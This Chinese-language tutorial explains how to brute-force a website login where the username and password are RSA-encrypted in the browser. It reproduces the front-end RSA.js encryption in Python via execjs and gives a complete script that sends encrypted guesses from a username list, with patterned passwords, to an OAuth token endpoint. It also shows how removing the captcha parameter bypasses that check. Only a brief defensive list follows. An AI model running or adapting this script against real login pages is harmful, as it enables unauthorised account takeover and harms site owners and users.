当遇到前端RSA加密的时候暴力破解的方法
字数 1081 2025-08-09 22:16:00
前端RSA加密暴力破解方法详解
1. 背景分析
当网站登录采用前端RSA加密时,传统的暴力破解方法无法直接使用。本文介绍一种针对前端RSA加密的暴力破解方法,通过分析加密过程并模拟前端加密行为来实现有效攻击。
2. 加密机制分析
2.1 加密参数识别
- 网站登录时提交的用户名(username)和密码(password)经过RSA加密
- 通过去除
j_authcode等无用参数可以绕过图形验证码 - 加密过程在前端JavaScript中完成
2.2 RSA加密实现
- 使用早期RSA.js/Barrett.js/BigInt.js项目实现加密
- 公钥参数存储在config.js中,包含:
exponent(指数)modulus(模数)
- 这是一个256位公钥的RSA加密
3. 加密过程逆向
3.1 前端加密代码分析
<script src="./rsa/RSA.js" type="text/javascript"></script>
<script src="./rsa/BigInt.js" type="text/javascript"></script>
<script src="./rsa/Barrett.js" type="text/javascript"></script>
<script src="./rsa/config.js" type="text/javascript"></script>
<script>
function a(paramStr){
setMaxDigits(130);
key = new RSAKeyPair(exponent, "", modulus);
return encryptedString(key, encodeURIComponent(paramStr));
}
qqq = a("admin");
alert(qqq);
</script>
3.2 加密流程
- 加载RSA相关JS库
- 定义加密函数
a(paramStr) - 设置最大位数(130)
- 创建RSA密钥对(使用exponent和modulus)
- 对输入字符串进行URI编码
- 调用
encryptedString进行加密
4. Python实现加密模拟
4.1 使用execjs调用JS加密
import execjs
def rsa(str):
file = 'RSA.js'
ctx = execjs.compile(open(file).read())
js = 'a("' + str + '")'
params = ctx.eval(js)
return params
print(rsa("admin"))
4.2 实现步骤
- 将前端所有JS代码合并到一个文件中(RSA.js)
- 使用execjs库加载并执行JS代码
- 调用加密函数a()对输入字符串进行加密
- 返回加密结果
5. 暴力破解脚本实现
5.1 完整爆破脚本
import requests
import execjs
requests.packages.urllib3.disable_warnings()
def urlpost(username, password):
rusername = rsa(username)
rpassword = rsa(password)
url = "https://x.com/oauth/token"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0)Gecko/20100101 Firefox/79.0",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded"
}
cookie = {}
data = {
"username": rusername,
"password": rpassword,
"grant_type": "password",
"scope": "service",
"client_id": "spm",
"client_secret": "sinoprof"
}
r = requests.post(url, cookies=cookie, headers=header, data=data, allow_redirects=False, verify=False)
print(r.status_code)
if r.status_code == 200:
print(username + password + "success")
exit()
else:
print(username + password + "error")
def rsa(str):
file = 'RSA.js'
ctx = execjs.compile(open(file).read())
js = 'a("' + str + '")'
params = ctx.eval(js)
return params
folist = open('user.txt', 'r')
for i in folist.readlines():
i = i.replace('\n', '')
urlpost(i, i + "!@#456")
urlpost(i, i + "!@#123")
urlpost(i, "123456")
5.2 脚本功能说明
- 读取用户名列表(user.txt)
- 对每个用户名尝试三种密码组合:
- 用户名+"!@#456"
- 用户名+"!@#123"
- "123456"
- 使用RSA加密用户名和密码
- 发送加密后的登录请求
- 根据HTTP状态码判断是否成功(200表示成功)
6. 关键点总结
- RSA参数获取:必须从网站前端获取exponent和modulus参数
- JS代码整合:需要将RSA.js、BigInt.js、Barrett.js和config.js合并为一个文件
- 加密模拟:使用Python的execjs库准确模拟前端加密过程
- 爆破策略:合理设计用户名和密码组合,提高爆破效率
- 验证码绕过:通过去除验证码相关参数(j_authcode)简化爆破过程
7. 防御建议
- 增加图形验证码的强制验证
- 使用动态RSA参数(每次请求生成新的exponent/modulus)
- 实施登录失败锁定机制
- 增加请求频率限制
- 使用更现代的加密方案替代老旧的RSA.js实现
通过以上方法,可以有效防御此类针对前端RSA加密的暴力破解攻击。